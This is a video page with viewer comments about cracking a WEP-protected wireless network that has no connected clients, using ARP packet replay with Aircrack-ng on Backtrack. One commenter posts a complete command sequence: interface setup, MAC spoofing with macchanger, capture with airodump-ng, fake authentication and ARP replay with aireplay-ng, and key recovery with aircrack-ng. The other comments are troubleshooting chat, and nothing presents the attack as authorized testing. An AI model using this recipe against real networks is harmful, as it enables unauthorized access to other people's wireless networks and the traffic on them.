Backtrack Series - 2: Cracking Clientless WEP Protected Network Using ARP Packet Replay

This attack can be used on a clientless network
Usually capturing a packet takes some time, but I had to stimulate an ARP packet by issuing a ping to an unavailable local IP from a wired client

This video is based on:
http://forums.remote-exploit.org/tutorials-guides/9063-xploitz-video-volume-1...

Category:

Science & Technology

Tags:

• Backtrack
• hacking
• WIFI
• WEP
• Aircrack-NG
• penetration

[adamshor]

I dont know what you were doing with the ping but this is how i would do it.. airmon-ng airmon-ng stop wlan0 ifconfig wlan0 down macchanger -m 68:61:63:6b:65:64 wlan0 airmon-ng start wlan0 airodump-ng wlan0 airodump-ng -c 11 -w haxor --bssid attackingbssid.. wlan0 aireplay-ng -1 0 -a attackingbssid -h 68:61:63:6b:65:64 -e NamelikeDemo wlan0 aireplay-ng -3 -b attackingbssid -h 68:61:63:6b:65:64 wlan0 aircrack-ng -n 64 -b attackingbssid... haxor-01.cap the spacing means a different konsole.

[fifothekid]

I was pinging to stimulate activity in the network

Normally, you wouldn't need to do that but you'll have to wait for some WIRED activity inside the network

[fifothekid]

may be your router is not vulnerable to this attack

consult the forum for other alternatives

[ross817]

@ross817 Hmmm... if I wait long enough I start to get quite a few ARPs, but no IVs.

[ross817]

Anyone have an alternative way of generating arp requests? Pinging unavailable hosts doesn't work for me, apparently.

[adamshor]

And the mac im spoofing to 68:61:63:6b:65:64 is the text "hacked" in hex :P

[kaizetsu996]

Btw bro, you have msn ? is better off we chat there.

[kaizetsu996]

Serious shiit? That will be dam elite.

[fifothekid]

I'm not really sure, but the aircrack-ng team is working on a program that will allow you to connect to WEP network without knowing the key!!!

May be that can work

[kaizetsu996]

oh! that's how you ping. Thank's alot. But is there any ways to ping during wep clientless without wired?